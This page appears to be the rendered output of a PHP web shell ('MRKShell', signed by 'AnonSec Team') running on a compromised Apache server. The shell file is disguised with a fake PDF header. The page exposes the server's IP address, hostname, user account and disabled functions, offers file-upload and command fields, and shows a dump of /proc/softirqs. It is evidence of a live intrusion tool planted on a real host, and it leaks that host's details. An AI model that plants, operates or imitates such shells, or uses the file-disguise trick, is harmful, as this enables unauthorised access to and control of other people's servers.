...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY MR K IS HERE
MRKShell
Server IP : 65.108.66.160  /  Your IP : 216.73.217.172
Web Server : Apache
System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : alasaweborg ( 1047)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      CPU16      CPU17      CPU18      CPU19      CPU20      CPU21      CPU22      CPU23      CPU24      CPU25      CPU26      CPU27      CPU28      CPU29      CPU30      CPU31      
          HI:         18         13         30         89         21         16         20         25         10         10         21         33         14         20         17         17          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       TIMER:   44925462   67434614   68780759   73938663   65674051   74156383   73912632   68058428   71249765   75087157   74493538   69934937   63521600   64118126   66578373   65213566          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
      NET_TX:     616360     797184     827327     707574     467549     492123     293586     334143     719364     430639     931322     566385     935563     272410     465435     675481          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
      NET_RX:  141368787  180978733  193088764  158407106  105434618  110894199   71136353   94623480  180824065   94422530  203529171  148055897   48875691   69631975  101625860  158846625          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       BLOCK:       2534       3317       4061       4029       3006       2299       5113       3078       2691       3992       3730       4100       4926       5524       2831       3259          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:   27661297   34683186   36990911   32096186   20140908   21220154   14557313   19386839   35491253   18055517   37154164   29519554    9994053   13230463   20110552   29671712          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       SCHED: 1072873177  567895711  348670000  290493402  269578518  281243438  258616142  246771056  244620059  252830160  262392149  252629353  233759172  239146286  260114968  249266938          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     HRTIMER:      23170      39151      25216      14712      14141      16679       8094      11621      42278      11330      49502      25192       2809      10628      13017      22578          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
         RCU:  855663585  730486484  724278072  754707692  903486966  747053333  679186684  737844571  785724629  774009275  795240162  789044134  732775632  736816838  840691650  779648963          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0

Anon7 - 2022
AnonSec Team